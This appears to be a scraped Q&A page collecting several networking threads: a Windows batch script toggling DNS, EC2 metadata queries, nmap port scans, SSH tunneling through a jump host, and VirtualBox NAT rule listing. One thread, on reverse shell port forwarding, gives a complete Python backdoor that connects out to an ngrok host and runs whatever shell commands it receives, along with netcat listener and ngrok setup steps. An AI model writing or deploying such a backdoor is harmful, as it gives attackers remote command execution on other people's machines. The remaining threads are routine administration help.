BAT: Script that makes DNS changed automatically - if-statement

Im from abroad USA and i pretty like Netflix. That's why I insisted to change my DNS by one click. I wrote some code, but it doesnt work and i have no idea, why it doesn't. Here it is:
`Echo On
IF netsh interface ipv4 set dnsserver "Wi-Fi" source=dhcp==netsh interface ipv4 set dnsserver "Wi-Fi" source=dhcp DO (
netsh interface ipv4 add dnsserver "Wi-Fi" 123.123.123.123
netsh interface ipv4 add dnsserver "Wi-Fi" 123.123.123.124 index=2
ECHO DNS has changed to specific.
)
ELSE (
netsh interface ipv4 set dnsserver "Wi-Fi" source=dhcp
ECHO DNS has changed to automatic.
)
ipconfig /flushdns
`
Even can't check what's wrong, because the cmd exits automatically.
Each one of the command works, so did i mess up with the "if"?
Help would be appreciated <3

IF "netsh interface ipv4 set dnsserver "Wi-Fi" source=dhcp" == "netsh interface ipv4 set dnsserver "Wi-Fi" source=dhcp" (
a) enclose your strings in qoutes if there may be spaces.
b) there is no DO with if
c) ) and ELSE and ( have to be on the same physical line:
) else (

I enjoyed my problem, thanks to you i've got a solution. I used file comparision command to do this in the way I imagined. Here it is:
#echo off
REM At first, define an interface you're using by command "netsh interface ipv4 show dnsserver".
REM Depends on language the names could be diffrent.
REM Example: Wireless Network Connection / Local Area Connection / Wi-Fi
set INTERFACE=Wi-Fi
set DNS1=123.123.123.123
set DNS2=123.123.123.124
REM Here we goes:
netsh interface ipv4 show dnsserver "%INTERFACE%" > C:\DNS.txt
fc /b DNS.txt DNX.txt > nul
IF errorlevel 1 (
netsh interface ipv4 set dnsserver "%INTERFACE%" source=dhcp
ECHO DNS has changed to automatic.
ECHO.
) else (
netsh interface ipv4 add dnsserver "%INTERFACE%" %DNS1%
netsh interface ipv4 add dnsserver "%INTERFACE%" %DNS2% index=2
ECHO DNS has changed to static.
ECHO.
)
ipconfig /flushdns > nul
netsh interface ipv4 show dnsserver "%INTERFACE%" > DNX.txt
pause
It seems to working :) Again thanks for help :)

Related

EC2 Instance Metadata - Filter Private IPs based on Mac or Interface Index

I am writing a shell script that will run in an EC2 instance with 2 interfaces (Mgmt and Service NICs). The need to be able to grab the IP of the secondary interface (index1) via the metadata; however, I am only able to do it by filtering the mac address. The problem is that the mac addresses are never in the same order, so depending on the exact order of the Mac addresses, it may return the IP of the primary interface (Index0). Here is how I am doing my filter
curl --silent http://169.254.169.254/latest/meta-data/network/interfaces/macs/ > macs
MAC=$(awk '{if(NR==2) print $0}' macs )
SMNET_IP=$(curl --silent http://169.254.169.254/latest/meta-
data/network/interfaces/macs/$MAC/local-ipv4s)
echo {$SMNET_IP}
How can I query both interfaces private IP addresses via the metadata based on either the interface index or some other way?
You can query each network interface's device number, using the device-number fragment under the MAC. From there, it's just a matter of getting the IP address for the first network interface, the one with a number of 0.
#!/bin/bash
URL_BASE="http://169.254.169.254/latest/meta-data/network/interfaces/macs"
for MAC in $(curl -s ${URL_BASE}/); do
if [[ "$(curl -s ${URL_BASE}/${MAC}device-number)" == "0" ]]; then
LOCAL_IP=$(curl -s ${URL_BASE}/${MAC}local-ipv4s)
echo "Found device 0 with MAC: ${MAC}, IP of ${LOCAL_IP}"
fi
done

Nmap can't find a listening port

I created a AWS instance today, and I am running a server and listen to 19999 port. let's see what I got:
root#ip-172-31-18-145:/home/ubuntu# sudo lsof -i -P -n | grep 19999
ssserver 20387 root 4u IPv4 65547 0t0 TCP *:19999 (LISTEN)
ssserver 20387 root 5u IPv4 65548 0t0 UDP *:19999
But i couldn't connect my port on my remote client-side, so I was trying to use nmap. here what I got.
root#ip-172-31-18-145:/home/ubuntu# nmap -Pn 127.0.0.1
Starting Nmap 7.60 ( https://nmap.org ) at 2020-02-15 13:47 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000030s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
My question is what's wrong with nmap? To make sure the port is listening I am running nc to try to listen the 19999 again. and here is the output:
ubuntu#ip-172-31-18-145:~$ nc -l 19999
nc: Address already in use
Nothing is wrong with nmap by default it only scan a 1000 most common ports. You can you use nmap -Pn 127.0.0.1 -p 19999

reverse shell port forwarding

i create a reverse shell with python and i have a problem with my router in port forwarding.
I don't have any static ip.
In router:
Protocol: TCP
Lochealipaddr: 192.168.1.10
Localport: 8090
Wanipaddr: ---
Wanport: 8090
state: enable
in my python script i cant bind on my wan ip address
ST.bind((Wanipaddr, 8090))
if i binding on localipaddr my reverse shell client can't connect to the server
whats my problem solution??
thanks
if you want to use your backdoor to receive connections outside LAN use ngrok
example:
1- lets listen on port 4444:
nc -lp 4444
2- after ngrok is installed you will run this command:
ngrok tcp 444
3- now find the ngrok address
ngrok address
4- use your ngrok address to the client connect
# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
5- now you can connect with anyone outside your network
shell
It sounds like your router is configured to forward requests from the internet on port 8090 to your host (assuming you have the correct LAN IP). Perhaps just try binding to 0.0.0.0.
From wikipedia, it fits this context:
A way to specify "any IPv4 address at all". It is used in this way when configuring servers (i.e. when binding listening sockets).
In other words, you're telling your server to essentially listen on every available network interface (on that port).

How to Create Multi ssh Tunneling on AWS?

I have a running instance on host2 on port p2. I want to access through localhost:p2.
I can ssh to host1 with h1.pem and from host1 i can ssh to host2 with h2.pem.
I believe you are describing a situation where you have access from localhost (host h0) to host h1 (IP address a.a.a.a), and host h1 has access to host h2 (IP address b.b.b.b), but h0 does not have connectivity to host h2.
You want to connect from h0 to h2 via h1, and establish a TCP tunnel from a port on h0 to a destination port on h2.
I will teach you how to catch this fish, rather than just catching one for you.
First, assuming for a moment that you did have direct access from h0 to h2, how would you make an SSH connection?
You would connect like this:
ssh -i h2.pem h2user#b.b.b.b
...and you could establish a tunnel like this...
ssh -i h2.pem h2user#b.b.b.b -L 31337:127.0.0.1:3306
This would accept connections on h0 port 31337 and connect it to h2's loopback adapter 127.0.0.1 on port 3306.
I believe is what you want.
But, you don't have direct access to h2, so you need to proxy the SSH connection via h1.
From h0, we can connect to h1 like this:
ssh -i h1.pem h1user#a.a.a.a
So we take that info, and tell SSH that we want to use it to create a ProxyConnection to h1, where we'll run the nc command, which establishes a remote connection and ties its payload back to stdin and stdout. SSH will pass the hostname and SSH port of h2 to nc running on h1, which will pass back to us on the SSH connection to h1, which we will use to speak SSH to h2. We pass this as ProxyCommand to our ssh attempt from h0 to h2.
'-o ProxyCommand=ssh -i h1.pem h1user#a.a.a.a nc %h %p'
Putting it all together (line breaks for clarity):
ssh '-o ProxyCommand=ssh -i h1.pem h1user#a.a.a.a nc %h %p' \
-i h2.pem \
h2user#b.b.b.b \
-L 31337:127.0.0.1:3306
And there you have it.
Under the hood, h0 makes an ssh connection to h1, where it runs nc b.b.b.b 22. SSH on h0 uses these streams to create a second ssh session to h2 via the connection it already has to h1. The tunnel is negotiated directly with h2 over this connection.
Note that in this scenario, both of the keys h1.pem and h2.pem are on your local machine. The h2.pem key does not need to be present on h1 at all.
Note also that this has nothing to do with AWS. It's just standard SSH usage.
You can add the -N option to the end of the command if you just want to allow the tunnels but you don't want or need to start a shell on h2.
Or if you want a spiffy little monitor showing that your tunnel is still up, you can add this to the very end of the complete ssh command shown above. Be sure to include all of the ' exactly as shown.
'perl -MPOSIX -e '\''$|=1; while(sleep(1)){ print "\e[0GConnected " . POSIX::strftime("%Y-%m-%d %H:%M:%S",gmtime)}'\'''
This will show a continuously updating message on the console of h0 "Connected YYYY-mm-dd HH:MM:SS" message confirming that your connection is still established end to end.

LIST natpf rules in Virtualbox/Vagrant

I often get errors like this when running Vagrant:
VBoxManage: error: A NAT rule of this name already exists
VBoxManage: error: Details: code NS_ERROR_INVALID_ARG (0x80070057), component NATEngine, interface INATEngine, callee nsISupports
VBoxManage: error: Context: "AddRedirect(Bstr(strName).raw(), proto, Bstr(strHostIp).raw(), RTStrToUInt16(strHostPort), Bstr(strGuestIp).raw(), RTStrToUInt16(strGuestPort))" at line 1524 of file VBoxManageModifyVM.cpp
I'd like to remove all port forwarding rules before doing vagrant up, but I have trouble LISTING natpf rules. Is there any way to do it using vboxmanage or via some facilities in Vagrant?
Update: Vagrant version 1.3.4. I can replicate the problem as follows: start vm installation normal way (vagrant up) and force power off the vm during installation (this simulates e.g. failed install). Then the natpf1 port forwarding rule is left in the system. The only way to clean it up is like vboxmanage modifyvm #{vmid} --natpf1 delete rule_name, but you have to know the rule name beforehand... Furthermore, the rule stays there after vagrant destroy and it seems that my Ruby natpf1 clearing function present in Vagrant.configure is not ran, which means that the stale rule still clashes with "fresh" one that Vagrant attempts to create.
This got the job done for me:
VBoxManage showvminfo $VM_NAME --machinereadable | awk -F '[",]' '/^Forwarding/ { printf ("Rule %s host port %d forwards to guest port %d\n", $2, $5, $7); }'
I came here with the same problem; with your hint about deleting the rule I found that you can use the VirtualBox GUI to find the rules and delete them.
Of course, this only works when you are working on a machine with a GUI desktop.
Open the VirtualBox manager
Open the settings for the box in question (rmb -> settings, or the gear icon)
Select Network from the list on the left and open the Port Forwarding dialogue
From here you'll be able to directly remove the rules.
http://i.stack.imgur.com/6fQQc.png
Looking at the rules, it seems they just get a name that is equal to the port being set. So you can also look at the Vagrantfile, and search for a line like this:
db.vm.network :forwarded_port, guest: 5432, host: 5432
And guess that the name of the rule will be 5432. The name of the rule for forwarding the ssh port 22, is called ssh
$ vboxmanage modifyvm "vbox-id" --natpf1 delete "5432"
You can list the nat rules by the following command:
VBoxManage showvminfo #{vmid}
You then get a lot of information about your VM including the forwarding rules, for example:
NIC 1 Rule(1): name = ssh, protocol = tcp, host ip = 127.0.0.1, host port = 2022, guest ip = , guest port = 22
Expanding on Andrew's answer, this lists the rules for all your VMs
for vm in `vboxmanage list vms | awk -F'"' '$0=$2'`
do
echo "Rules for VM $vm"
VBoxManage showvminfo $vm --machinereadable | awk -F '[",]' '/^Forwarding/ { printf ("Rule %s host port %-5d forwards to guest port %-5d\n", $2, $5, $7); }'
printf '\n'
done
You can delete a rule from the command line by issuing:
VBoxManage controlvm "boot2docker-vm" natpf1 delete "tcp-port80"
the last parameter in quotes is the rule name you wish to delete.